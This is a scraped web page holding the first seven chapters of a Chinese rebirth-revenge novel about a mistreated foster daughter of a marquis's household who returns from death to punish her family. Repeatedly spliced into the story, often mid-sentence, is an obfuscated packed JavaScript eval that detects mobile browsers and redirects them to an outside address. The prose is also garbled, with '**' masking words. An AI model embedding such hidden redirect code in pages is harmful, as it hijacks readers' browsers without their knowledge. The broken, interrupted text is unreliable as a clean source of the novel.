《两眼一睁就是杀,都重生了磨叽啥》 第1章 重生第一杀 她再也不欠晏家什么了。 这是晏逐星临死前,最后一个念头。 “对不住,是我任性连累了你。” 她隐约听到有人在给她道歉,还带了一声叹息。 谁会因为她的死而伤心呢? 她只是一个鸠占鹊巢的假千金,霸占了爹娘兄长对小妹的宠爱多年。 害得妹妹在外边吃了那么久的苦头。 她这种罪人之女,根本就不配活在这个世界上。 而今死在这战场上,也算救了一方百姓,甚好。 她感觉她已经飘了很久很久。 嗯? 怎么黑白无常还没有来接她。 再睁开眼,晏逐星发现自己的魂魄竟然飘回了侯府。 想必是她执念太深,无**回,所以才回到了这里。 “夫人,大小姐这死还真不亏。既给二少爷挣到了一个爵位,又让皇上感念她的功劳,给二小姐赐了婚,让二小姐成了王妃。” 母亲温如霜的贴身嬷嬷李氏正眉飞色舞的为她的死而喝彩。 “一门双侯,还出了一个王妃,以后啊,夫人您就是这京城里最令人羡慕的人了。” “确实死得其所。”温如霜微微一笑。 “也不枉我当年在街上见她活泼可爱,带回家中,养了这么多年。” 她从箱子里翻出了一个婴孩戴的金镯子,摆在面前晃了晃。 “看在她给侯府挣了这么多荣耀的份上,我便将她幼时贴身之物随着她一块下葬吧。说不定死后她还能在地下遇见她的亲生父母。” “夫人慈悲。”李氏在一旁继续吹捧。 晏逐星魂魄一震。 什么意思? 不是说她出生就被接生婆故意调换的吗。 怎么听母亲的意思,她是被她故意带回来的? “母亲,晏逐星的尸体怎么处理啊?真的要让她进咱们晏家的祖坟吗?”这时,她的二哥晏明修跑了进来。 “她又不是咱们晏家的孩子,凭什么进祖坟。” “明月这几日总是睡不好,说一闭眼睛就能梦到晏逐星血淋淋的来吓唬她。” “咱们还是请个大师把她的魂魄打碎了吧,这样她便不敢再来纠缠了。” 晏逐星不可思议地瞪大了眼睛。 她的二哥,竟然是这样阴狠的小人。 她的死给他挣来了一个侯爵之位。 他不愿给她一个体面的葬礼就算了,竟然还要把她打得魂飞魄散,不能轮回? 她攥紧了拳头。 “诶,二弟此言差矣。”大哥晏明远也来了。 “晏逐星虽**,但她生前容貌生得那般好,被不少男人惦记过。尤其是陆太傅前天死的那个孙子,我听说,对她一直颇有好感。” “不如找陆太傅聊聊,让她跟陆池那小子,成冥婚。这样咱们家,也算和太傅搭上关系了。” 晏逐星魂魄颤抖了起来。 她都**,他们还不放过她,甚至还要再将她压榨一次? 要把她最后一滴价值给利用光才肯罢休? “嗯。听你们的。记住,一定不能触怒了皇上。毕竟,她保住了永安王的全尸,乃是功臣。”温如霜点头同意了儿子的提议。 晏逐星听不下去了,她驱使着自己的魂魄飘到了二妹妹,晏家真千金晏明月的屋子里。 晏明月正对着镜子梳妆。 小丫鬟替她梳头,一脸担忧:“二小姐,万一二少爷没请到大师怎么办。大小姐日日入梦纠缠您,可如何是好?” 晏明月冷笑一声:“她活着便斗不过我,**我还会怕吗?她压根就没有进到过我的梦里。” “我只不过想让二哥把她打得魂飞魄散罢了。” 无耻! 晏逐星再也压抑不住自己心中的愤恨,扑向了晏明月。 然而却从她的身上直直地穿了过去。 晏逐星这才意识到,她**。 她根本没办法对晏明月做什么。 她好恨,她不甘心,她怎么能因为这一家子狼心狗肺的人死去。 如果能重来一世,她一定要让他们付出代价。 把他们全都杀了。 让他们也尝一尝她临死前被万箭穿心的痛苦。 她要向他们索命,一个都别想跑。 …… “大小姐,你还愣着做什么。你弄脏了我家小姐的衣裳,大少爷罚你亲自洗干净,你还敢偷懒?” 一个刺耳的声音从头顶传来。 晏逐星睁开眼睛,盯着面前放着脏衣服的木盆,又看了一眼自己被冻得通红的手指。 随后抬头一看,指着她鼻子怒骂的人正是晏明月的丫鬟茉儿。 晏逐星腹中一阵绞痛。 她想起来了。 这是她刚来月事的那日,她给晏明月让了位置,结果将血弄到了晏明月的裙子上。 晏明月委屈不已,嚎啕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏明远和晏明修兄弟俩,一个想用她尸骨配冥婚,一个想将她打得魂飞魄散,更是该被千刀万剐。 她要把他们都杀了。 愤怒支配着她一步一步往前走。 走到一半,她忽然停下了脚步。 第2章 吃饱了,才有力气** 腹中饥肠辘辘,冷风似刀刮破她单薄的衣裳,往她皮肤里钻,冷得她打了个哆嗦。 她的脚步也变得有些轻飘无力。 晏逐星想了想,调转了方向。 她没有去找晏明月,而是去了大厨房。 她饿了,要吃饭。 吃饱了,才有力气**。 …… 晏逐星刚跨进厨房院门,鸡汤的鲜香就裹着米饭的热气钻进了鼻腔。 灶台前切菜声戛然而止,七八双眼睛望了过来。 “大小姐来这做什么?难不成要抢了丫鬟给二小姐送饭的活计?”厨房的管事周妈妈甩着帕子嗤笑。 “饭做好了吗?”晏逐星盯着咕嘟冒泡的砂锅,喉头滚动两下。 灶上煨着整只老母鸡,汤面上浮着参须红枣和枸杞,油亮亮的,闻起来比她上辈子在军营啃的树皮草根香百倍。 “好没好跟你有什么关系。”周妈妈嗤笑一声。 “叫你一声大小姐,还真把自己当根葱了啊?去去去,赶紧走,别耽误了我们给府里的主子做饭。万一饿着二小姐了,你担得起这个责任么。” 侯府里众人皆知。 大小姐空有名头,实际上连个屁都不是。 夫人的心头宝只有二小姐晏明月一人。 “我要吃饭。”晏逐星平静地开口。 “山珍海味也是喂人的,您配么?”周妈妈满脸嘲弄,“等主子们用完膳,泔水桶里给您留两口热乎的!” 满屋哄笑再次炸开。 晏逐星径直往灶台走去,一把推开了正在烧火的小丫头。 她从灶台里抽了一根带着火星子的柴火棍,直接往周妈妈身上招呼。 “你想干什……” “么”字还没说出口,周妈妈就被烫得一蹦三尺高,发出了凄厉的惨叫。 火星子“噼里啪啦”炸在周妈妈的衣裳上,烫出个焦黑的窟窿,她身上的皮肉似乎都被烫得绽开了。 他们齐齐都傻了眼。 这还是那个打不还手骂不还口的窝囊废大小姐么。 “愣着干嘛,还不赶紧把她捉起来送去夫人面前问罪!”厨房的二把手,周妈妈的头号狗腿子孙鼎抡起菜刀号召众人往前冲。 一时间厨房里洗菜的切菜的端菜的都冲晏逐星围了上去,想要把她捉去**行赏。 晏逐星二话不说又抽了一个新的烧到一半的柴棍出来。 双手交替挥舞着,快得像是风火轮。 柴棍上还带着火,她下手快准狠,招招都是搏命的架势。 这都是上一辈子在军营里练出来的。 虽然这具身子还不像五年后那么厉害,但她自小力气就比旁**,所以打这些没有练过的下人绰绰有余。 周妈妈瞧见众人碍于晏逐星手里的烧火棍不敢上前,当即嚷嚷道:“傻了吗,你们也拿烧火棍打她呀!” 有眼力见的小厮丫鬟们赶紧捡起了柴火棍子想要去打晏逐星。 “不让我吃饭是吧,那就都别吃了!” 晏逐星一脚踢翻了灶台上的老母鸡汤,砂锅飞起,热汤滚出,烫到了抡着菜刀冲过来的孙鼎。 孙鼎发出了杀猪般的惨叫,他手里的菜刀滑落,正好砍到了自己的脚面上。 他又一次发出了尖叫。 紧随其后的小厮们也被烫得抱脚乱跳。 带着油星子的鸡汤洒落在地,一些脚滑的小厮摔了个四脚朝天。 晏逐星旋身躲过扫来的木棍,肘击撞飞了一个胖厨娘。 手中的烧火棍断了,她抄起案板上的擀面杖砸得上前的丫鬟鼻血横流。 “反了天了!”周妈妈大叫着冲过来。 晏逐星直接把蒸笼扣到了她的脑袋上。 随后把厨房里的锅碗瓢盆“乒乒乓乓”砸了个稀巴烂。 一时间,整个厨房只剩下了此起彼伏的哀嚎和锅碗碎裂的声音。 “疯了,你真是疯了。” 周妈妈退后几步,目瞪口呆。 众人再也不敢上前招惹这位发疯了的大小姐,躲在角落里的丫鬟小环受伤最轻,她慌慌张张地跑去找二小姐告状。 晏逐星有些懊恼。 砸的时候忘了给自己留个碗了。 她仔细翻找,从地上捡了一个带着八分完整,带着豁口的碗,把木桶里残存的米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“什么?”晏明月错愕之余又有些烦躁。 她的掌心瞬间收紧。 今日发生的种种,莫名让她有一种失控的感觉。 她挽着母亲的胳膊,眼泪啪嗒落下。 “娘,茉儿先前帮着姐姐在洗衣裳,怎么会不明不白的就**呢?姐姐还去砸了厨房,打伤了那么多人,莫不是她得了疯病,先杀了茉儿,又要害死别人?” 一席话,直接将**的罪名扣在了晏逐星身上。 温如霜的脸色愈发不好看了。 “茉儿**的?”她盯着蔓儿询问。 蔓儿回忆着先前看到的场景:“奴婢不知,只瞧见了她的脑袋扣在洗衣盆里,被水冻起来了。” 早上还一起笑着讨论帕子要绣什么花样的小姐妹,如今成了一具冰冷的尸首。 她瑟瑟发抖。 “先去大厨房。”温如霜果断下了决定。 茉儿之死与大厨房的变故都和晏逐星有关。 那就先去见她。 看看她究竟发的什么疯。 …… 他们抵达大厨房的时候,晏逐星正在烤火。 自打上辈子身子骨受损后,她就格外怕冷。 即便如今身子还有挽救的余地,但她也还是觉得冷。 天冷,心更冷。 看着并肩而立的温如霜母女,晏逐星身体里被压制的恨意四处流窜。 从血液中渗透到了骨缝里。 她真想像掐死茉儿一样,掐死这两母女啊。 不过这样不划算。 饥饿被填平后,晏逐星的脑子也清醒多了。 若是就这样杀了她们母女俩,肯定会被抓起来蹲大牢。 到时候岂不是便宜了晏明修和晏明远两个畜生。 “星儿,你疯了吗?这,这是怎么一回事。”温如霜看着一片狼藉的厨房,错愕不已。 看到她,周妈妈连滚带爬扑了过去。 她的发髻歪斜着挂了几片菜叶,眼泪鼻涕糊得满脸都是。 她扯着嗓子哀嚎道:“夫人,您要替我们做主啊。” 随后她便把晏逐星来到厨房之后干的事情,一一说了出来。 其他的下人也像看到了主心骨似的,纷纷告状。 温如霜脑海瞬间闪过和晏明月一样的念头。 晏逐星疯了吧。 她怎么敢的。 “星儿,你可有什么话要说?”温如霜端着侯府主母的架子,板着脸看向晏逐星。 晏逐星很平静:“我饿了,想吃饭,这些刁奴不让我吃。我乃侯府大小姐,惩治恶奴,有问题吗。母、亲。” 最后那声母亲,温如霜不知为何,硬生生地听出了一丝杀意。 眼前的人明明还是平日里的打扮,看起来没有什么变化。 只是那一双眼睛看起来像棺椁里挖出来的陪葬玉,浸着墓穴里的阴气,让她无端打了个寒噤。 “那茉儿呢,茉儿什么都没做错,你为什么要害死她?”晏明月见娘亲被她问住了,赶忙提起了这件事,想要彻底坐实晏逐星**的名声。 晏逐星淡淡道:“我知道你一直记恨我霸占了你晏家大小姐的位置,但你也不能空口造谣我杀了人啊。” 晏明月一愣,没想到她竟然转移话题。 她扭头看向一旁的温如霜,哭得梨花带雨:“娘,我从未记恨过姐姐,更没有造谣。我只是想还茉儿一个公道。” 温如霜看着亲女儿掉眼泪,心疼不已,赶忙拍了拍她的手背以示安慰,随后遣散了下人,单独呵斥晏逐星。 “你霸占了你妹妹的千金小姐位置数十年,好不容易我们把她找回来了,你凭什么凶她。” “你在晏家锦衣玉食的时候,她可是在外受尽苦楚。你一辈子最对不起的人就是她。” “为了保全你的名声,我们只能对外宣称她是你同胞妹妹,当初生下来身子骨不好送到了倾城山上养着。” “侯府为了你,让步了那么多,你妹妹为了你,受了那么多委屈,你怎么能这样对你妹妹。” “星儿,给你妹妹道歉。” 晏逐星只觉得可笑至极。 上辈子,她竟然就是被这些话日复一日的洗脑,相信了是她亏欠的晏明月。 她霸占了晏明月的千金小姐之位,她害得她受了苦,她就应该一辈子做牛做马地补偿晏明月。 侯府留下她,让她继续当大小姐,她应该对他们感恩戴德一辈子。 可她明明是被温如霜拐带回家的。 侯府上下都在骗她。 晏逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他只来得及和对方说了一句“对不住,是我任性连累了你。”就彻底没了呼吸。 第4章 侯府的脸面,全被他给弄丢了 “王爷,您醒了?东宫传来喜讯,太子妃诞下了小郡主。” 门外传来贴身护卫停云的报喜声。 “小郡主?”谢翊宁猛地一顿。 梦里,好像太子妃嫂嫂诞下的正是小郡主,父皇很是高兴,给其赐名令仪。 他忍不住追问:“父皇可曾给她赐名?” “取了,名唤令仪。” 这名字和他梦里的一模一样! 谢翊宁反应了过来,那或许不是一场梦,而是真实发生的事情,他幸运地重新活过来了。 他当即把停云叫了进来,吩咐道:“速速命人去边关霍家军查探,军中可有女扮男装的将士。” 停云:? 不理解,但听话照办。 “是。” …… 晏逐星被侯府管家带着下人押送到了京兆府。 晏明月打定了主意想让晏逐星丢人,临行前给了管家暗示,让他们无需避讳,任意散播晏逐星**,气晕母亲的事情。 一路上,众人议论纷纷。 “这侯府大小姐可真是上不得台面,比不得二小姐半分。” “我看她给二小姐提鞋都不配,那丫鬟看着都比她像个主子。” “又是**,又是气晕母亲,侯府怎么就出了这么个畜生。” 面对他们的议论,晏逐星面不改色,充耳不闻。 到了京兆府,管家林平扑通跪倒在地,声泪俱下地开始控诉晏逐星的罪名。 大虞律法规定,若奴婢有罪,主人未经官府审判直接杀死:杖刑一百。若奴婢无罪,主人故意杀害:徒刑一年。 裴明镜听完看向晏逐星。 “晏大小姐,你可有什么要辩驳?” 晏逐星一直低着头在酝酿情绪。 她终于等到裴明镜叫她。 她抬起头,眼睛红红:“我并未**,反倒是他们想要杀了我。” “胡说八道,你可是侯府大小姐,谁敢杀你!”林平当即否认。 晏逐星直接卷起了袖子。 在场的人瞧着都倒吸一口凉气。 那双白皙纤细的手臂,满是青青紫紫的伤痕。 “他们是不敢杀我,但他们寒冬腊月里让我洗衣裳,不给我饭吃,还掐我打我,这和杀了我有什么区别。”晏逐星扑通跪到地上。 “求大人替我做主。” 她在侯府不受待见,下人们都欺负她,她不是没告过状,但温如霜只是轻描淡写地批评那些下人几句,根本没有认真惩罚他们。 于是那些下人愈发猖狂,根本不拿她当正经的主子。 三天两头骂她,饿她更是家常便饭,有时候心气不顺了,他们还会掐她打她。 她胳膊上背上都是伤痕。 她没有哭出声,只是默默地流眼泪。 “我不明白,同样都是母亲的女儿,为什么妹妹锦衣玉食,冬日里有狐裘,银丝炭。而我住在漏风的院子里,穿着下人都不稀罕的旧棉袄。我只是把疑问说出来,母亲便晕了过去,这也能怪我吗?” “我连饭都吃不饱,我怎么**?下人打我骂我,我连还口都不敢,我怎么**?” 晏逐星的声音并不大,但每一句话却像一个小锤重重砸在旁人的心上。 侯府的下人脸色全变了。 裴明镜的目光落在了她破旧的外衫上,这哈气成霜的日子,一个姑娘家,穿得比他还少。 看来这定远侯府的腌臜事情比他想象的还要多啊。 “这,夫人有命人给你做衣裳,是你自己不穿,非要给二小姐的。”林平结结巴巴地辩解。 “你这是故意穿的少,想要博取大人的同情!” “你说是就是吧。”晏逐星再次低下了头。 之前的她,因为觉得对晏明月愧疚,所有的新衣裳都给了晏明月。 而她一直在捡晏明月不要了的衣裳穿,甚至到最后,只能捡丫鬟的衣裳穿了。 反正她从不出侯府,旁人来做客,温如霜也总是让她称病不见人。 因而许多人都不知道定远侯府大小姐是什么模样,只知道侯府有个才艺双绝的二小姐。 裴明镜站在高堂上,看不清她的脸,只看到她的眼泪如同断了线的珠子一般滴答滴答地落在了公堂之上。 先前那些辱骂晏逐星的百姓,见她这么惨,不由又同情起她来。 “这侯府大小姐怎么过得连我家妞妞都不如,我家妞妞过年还能得一套新衣裳呢。这大小姐怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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戏演过了,可就不好看了 耳边传来脚步声。 裴明镜一步一步逼近她,晏逐星的心几乎要从嗓子眼跳出来了。 脚步声停止,晏逐星只看到了一双青黑色官靴停在眼前。 “是真是假,总要亲眼看过才知道。本官要亲自去一趟定远侯府。晏大小姐,带路吧。” 裴明镜淡定的声音传来,晏逐星点头起身。 不料起得太猛,有些头晕,差点一个踉跄栽倒在地,幸好裴明镜眼疾手快地搀扶了她一把。 待她站稳,裴明镜便飞快松开了手。 晏逐星行礼:“多谢大人。” 裴明镜眸光落在她纤细的手腕上,点了点头。 这手,的确很冷。 一旁的管家林平已经吓得说不出话来。 裴大人要去侯府,这事可真是闹大了! 他给心腹使眼色,想要让人快点回去将此事告知夫人,不曾想,裴明镜却抢先一步,让下属其他人留下。 只让晏逐星领着他去侯府。 走出京兆府,一个丫鬟捧着一件碧色披风跑了过来。 “大少爷,您要的披风。” 裴明镜冲晏逐星的方向使了个眼色。 丫鬟一愣,随后抖了抖披风,将披风替晏逐星给穿上了。 披风领口镶着白绒绒的兔毛,衬得晏逐星脸色愈发的白了。 “这是我堂妹的披风。”裴明镜解释了一句。 晏逐星摸着披风上的如意绦子,轻声道:“多谢大人。” 裴大人真是个好官啊。 怕她被冻死,又顾及她的名节,特意命家里人送了一件女子的披风来。 身体的暖意从心头涌起,流向四肢百骸,暖得她有些想掉眼泪。 这是她重活一世回来,收到的第一份善意。 她会好好铭记。 …… 停云命人快马加鞭去了边关后,而回了王府,忍不住把先前路过京兆府的事情说了出来。 “王爷,今个遇上了一件稀奇事。” “哦?什么事?”谢翊宁懒洋洋地开口。 “定远侯竟然**嫡女,晏大小姐过得连咱们王府的丫鬟都不如。”他把晏逐星和侯府管家对簿公堂的事情说了一遍。 这事在京中已经传开,闹得是沸沸扬扬。 谢翊宁眉头皱了起来。 上辈子,好像并无此事。 他一下又不确定了。 他那到底是做梦了,还是重生。 又或者是,他的重生让很多事情都发生了变化。 他提笔在纸上写下了“定远侯”三个大字。 放下笔,他做出了决定,今夜要亲自去定远侯府探一探。 …… 晏逐星将裴明镜带到了定远侯府。 侯府里下人顿时乱套了。 大小姐怎么没被关起来,反而还领着京兆府那位皇上见了都头疼的裴大人回来。 晏明月咬着唇,一时间不知道该如何是好。 “你糊涂啊!”温如霜醒来,得知女儿竟然把晏逐星送去了京兆府,差点没气得又晕过去。 “一荣俱荣,一损俱损。为什么一直没对外声张晏逐星的**,那都是为了侯府的名声。她与你是姐妹,她若下了大牢,你还能和好人家结亲么。” 晏明月被她训得眼泪汪汪。 她当时光想着让晏逐星丢脸,根本没考虑那么多。 “娘亲,我知错了,我只是想吓唬吓唬姐姐,让她给茉儿道歉,我没想到会变成这样的。”她哽咽着替自己辩解。 温如霜看着哭得一塌糊涂的女儿,只能强撑着身子起来去收拾这个烂摊子。 得知晏逐星将裴明镜领去了她住的院子,温如霜加快了脚步。 完了,这下她苦心经营多年的慈母名声,要不保了。 “裴大人,这就是我住的院子。”晏逐星指着漏风的院子给裴明镜一行人介绍了起来。 这下不止是裴明镜,跟着他的那些衙役都露出了惊讶的表情。 这院墙歪斜得快要垮塌,半扇门板耷拉着露出拳头宽的缝,其中一扇糊窗的纱早就破成了烂布条,风一吹就哗啦啦作响。 让人难以置信,富丽堂皇的侯府里,竟然还有这么一处格格不入的地方。 晏逐星不语,只是带着他们进去走了一圈。 当初晏明月被找回来后,在温如霜等人的洗脑下,她觉得十分愧疚。 将自己的院子让给了晏明月,自己搬去了一个小院子。 但晏明月还不满足,总是在她面前哭诉自己之前过得有多不好,她住的地方有多么破。 晏明月每哭一次,定远侯夫妻和两个哥哥看她的表情就越厌恶。 她不明白为什么疼爱她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴明镜顿住脚步,压低声音道:“大小姐,戏演过了,可就不好看了。 晏逐星身子一僵。 他看穿了她的苦情戏! 第6章 打了他们,可就不能打我咯(顺手的事) 就在晏逐星以为他会不搭理她的时候,他却看向了温如霜母女,扬声道:“好,我会让阿芜在国公府静候大小姐。若大小姐不来,我会让她亲自上门讨要。” “多谢大人。”晏逐星轻轻舒了一口气,冲他行了一礼,目送他们离开。 下一次,她绝对不会再露出破绽。 裴明镜等人一走,缓过神来的温如霜走过来抬手就要扇晏逐星耳光。 但手刚伸过来,就被晏逐星接住了。 她的眼眸平静无波,说出来的话却让温如霜气得浑身发颤。 “母亲,你是想让我过两日顶着被扇肿的脸去卫国公府上做客么。恐怕,到时候裴大人会再参父亲一本。” “你,你这个逆女!你是要毁了咱们定远侯府吗?”温如霜双腿一软,再次晕了过去。 晏明月彻底慌了神,再也不装那委屈巴巴的可怜模样,她怒喝道:“等爹爹和兄长回来,你就等着挨训吧。” 晏逐星不慌不忙地开口:“那就等着吧。说不定,到时候你还得把瑶华院还给我。” “你休想!爹爹和大哥二哥最疼我了。”晏明月气得直跺脚。 …… 暮色时分,定远侯怒气冲冲地回了侯府。 在官学就读的晏明修和晏明远也跟在了身后。 今日对薄公堂之事已经传遍了全京城,他们想不知道也难。 定远侯一回来,晏明月就迎了上去,把裴明镜今日来侯府说的话添油加醋都说了一遍,把黑锅全都甩到了晏逐星身上。 定远侯的脸变得越来越黑,找到晏逐星第一件事,就是将桌上的茶杯砸向她:“逆女,你今日为什么非要闹着去京兆府,你是想丢尽我们侯府的脸吗?” 晏逐星闪身躲开,抬头看他,一言不发,等着他继续说下去。 省得待会她一开口,他和温如霜一样被气晕过去。 那可就太耽误时间了。 趴在屋顶偷看的谢翊宁在晏逐星的抬头的那一瞬间,看清了她的脸。 他顿时身子一震。 那张脸,他见过! 虽然比梦里的稚嫩,但这位晏家大小姐,绝对是战场上救了他的那位姑娘。 踏破铁鞋无觅处,得来全不费工夫。 还去什么边关找人,要找的人就在眼前。 “停云,不必去边关找人了。”他扭头吩咐。 停云:? 王爷怎么一觉醒来之后,就奇奇怪怪的。 先是让他去军营找个女扮男装的将士,又要亲自来定远侯府听墙角。 他有些后悔,不该把晏家大小姐上公堂的事情告诉王爷的。 谢翊宁不知道他心底的想法,只是紧紧盯着晏逐星的脸,思索着她一个堂堂侯府嫡女,为何在他的梦里会出现在边关? …… “你还敢躲?”定远侯怒气更甚。 “当初要不是我瞧着你可怜,同意你娘将你留下,你现在早就不知道被拐子卖到哪里去了。” “这些年我供你吃供你穿,让你当侯府大小姐,你呢,非但不感恩,还闹到京兆府去,让人看侯府的笑话,我真是养了个白眼狼!” 晏逐星抬头看着目露凶光的定远侯,唇角勾起了一抹嘲讽的笑。 白眼狼么? 上辈子,因为他支援霍家军失踪,侯府上下乱成了一团。 她为了让温如霜安心,悄悄离开了京城,亲自去边关寻找定远侯。 她想着,若是能将父亲找回来,母亲和兄长或许会对她刮目相看,就会重新疼爱她了。 然而她去了边关,却进不了军营,最后是霍将军的夫人念在她一片孝心的份上将她收留。 她花了三个月时间打动霍将军教她习武,可没人看好她。 毕竟十五岁才开始习武,太晚了。 幸好她还算争气,在习武一事上颇有天分,三个月后,已经可以用**和霍将军的副将打个平手了。 她的**用得极好,霍将军夸她若是能早点学武,恐怕会成为当世用枪第一的女子。 半年后,大军进犯,她随大将军上战场杀敌。 连挑敌军十人下马,一战成名。 后来,霍将军为她请功,她成了第一个被皇上授予将军称号的女子。 “星儿,你给爹爹道个歉吧,此事是你做得不对。是你自己要搬到那个院子里去的,现在后悔了,你找爹娘说一声就是,怎么还闹到衙门去。太不懂事了。” “虽然你不是我们的亲妹妹,但你要是能像明月一样知书达理,乖巧听话,我们也会喜欢你,把你当成亲妹妹对待。你想想都是侯府千金,为何明月受下人喜爱,而你却被大家厌恶。你真该好好反省反省,整个京城,哪家贵女像你这样愚钝粗鄙?” 晏明远和晏明修像往常一样开始给她洗脑,想让她觉得她连晏明月的脚后跟都不如。 晏逐星收回了回忆,静静听他们说这些屁话。 她很想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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晏明远也被打懵了。 这还是那个对他言听计从,懦弱无能的妹妹吗。 晏逐星扫了一眼旁边张大嘴满脸不可思议的晏明修。 晏明修被她看得退后一步,脱口而出:“你打了明月和大哥,可就不能打我咯。” 晏逐星冷笑一声,以迅雷不及掩耳之势,冲上去啪啪也甩了他两个耳光:“顺手的事。” 晏家兄妹三人:…… 晏逐星这是疯了吗? 第7章 想让人家给你当王妃? 定远侯更是被她这个举动气得老脸通红。 他猛地拍桌子,下令道:“来人,将这逆女捆了,家法伺候。” 晏明月听到这话,眼里瞬间闪过一抹幸灾乐祸。 当着那么多人的面被杖责,晏逐星算是彻底完了。 然而晏逐星脸上却不见半点慌乱。 她看向定远侯,淡定道:“父亲,裴大人还等着我去国公府做客,若我不去,他会让裴二小姐亲自来侯府探望我。你也不想再被告到皇上面前吧?” 定远侯牙齿都要咬碎了。 这个时候还真不能打伤她。 有裴明镜的奏折在前,就算他说出去是晏逐星顶撞他这个父亲,殴打兄长姊妹他才惩戒她的,皇上也不会相信。 而且裴明镜就是个疯狗,若是被他紧盯不放,之后可就麻烦了。 “退下!”定远侯将下人呵退,死死地看着晏逐星。 他换了一个缓和的语气:“星儿,父亲怎么舍得真的打你呢,只是你先前那样太过分了,我才想要吓唬吓唬你。” “我就知道父亲对我最好了,那现在我是不是可以搬回瑶华院了?”晏逐星笑眯眯地看着他。 晏明月满脸的震惊和疑惑,不解地看着两人。 刚刚明明还剑拔**张,怎么一下就和好了? 听到晏逐星想要她的院子,她当即反对:“不行,那是我的!” “在你回来之前,那可是我的。”晏逐星抬手,晏明月吓得捂住脸躲到了大哥身后。 晏逐星抬起的手顺势划过晏明月发顶三寸虚空,最终化作懒洋洋的伸展姿态。 她打了个哈欠,挑眉看向她:“妹妹,我不过是伸个懒腰而已,你躲什么呀?” 晏明月哪里愿意承认她是怕晏逐星又打她,咬着唇不敢回答。 定远侯压着怒气开口:“星儿,瑶华院你妹妹都住了好几年了,你现在要搬回去也不方便,不如你重新选个院子可好?你想选哪里,爹爹都依你。” “行,那就玉澜院吧。”晏逐星说出了自己真正想要的地方。 玉澜院离角门最近。 她接下来有很多事情需要离开侯府去办,住在那里最方便。 晏明月住过的地方,真要送她,她还不稀罕呢。 定远侯见她愿意松口,点头应下了此事。 这时,下人慌慌张张地跑了进来。 “二小姐,不好啦,瑶华院起火啦!” “什么?”晏明月大惊失色,再没空追究晏逐星想要她院子的事情,慌慌张张地往自己的院子赶去。 她有好多衣裳和首饰,可千万不能烧没了。 其余几人见她哭的厉害,也赶紧跟了上去。 晏逐星懒得去凑热闹,她叫住了冷汗淋漓的管家林平。 “林管家,你听到父亲的吩咐了吧。” 林平现在哪里还敢得罪她。 侯爷都不敢动这位大小姐,夫人也被她气晕了,家里的几个主子,全都被她给扇了一遍。 而她却没受半点惩戒全身而退。 这叫什么,这就是本事啊。 林平赔着笑脸道:“小的这就让人替大小姐整理院子,保准让您满意。” 晏逐星这才慢悠悠地去了玉澜院。 这一夜,侯府鸡飞狗跳,唯有晏逐星睡了一个好觉。 …… 谢翊宁去了皇宫。 未等他拾阶而上,两柄交叉的银枪已横在面前。 “放肆!酉时三刻宫门落锁,尔等不知晓规矩么?”侍卫厉声呵斥。 谢翊宁走近,昏黄的宫灯映亮他的脸,右侧侍卫倒吸一口凉气:“永、永安王?” 满宫皆知永安王是帝后心头肉。 别的皇子及冠才敕封,眼前这位周岁就得了王爵。 只因其身在襁褓之时便身染沉疴,国师卜卦后断言其命格有缺,恐难逾弱冠之龄。 诸皇子封号皆循大虞祖制以单字为尊,独这位破了例,玉牒金册上是“永安”二字。 由此可见帝后对其疼爱之心。 因而他也获得了其他王爷皇子没有的特权。 诸王皆需持螭纹玉符经三司勘验方能入宫,唯有永安王不拘昼夜时辰,无须符节诏令,可凭天颜勘验即可长驱直入。 侍卫将寒铁枪尖仓皇收回,扯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497751|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把同僚,膝盖重重磕在石阶上,他赶忙道:“禁军新调来的愣头青不识贵人,求王爷恕罪。” “无妨。本王有事要见母后。”谢翊宁拢了拢狐皮大氅。 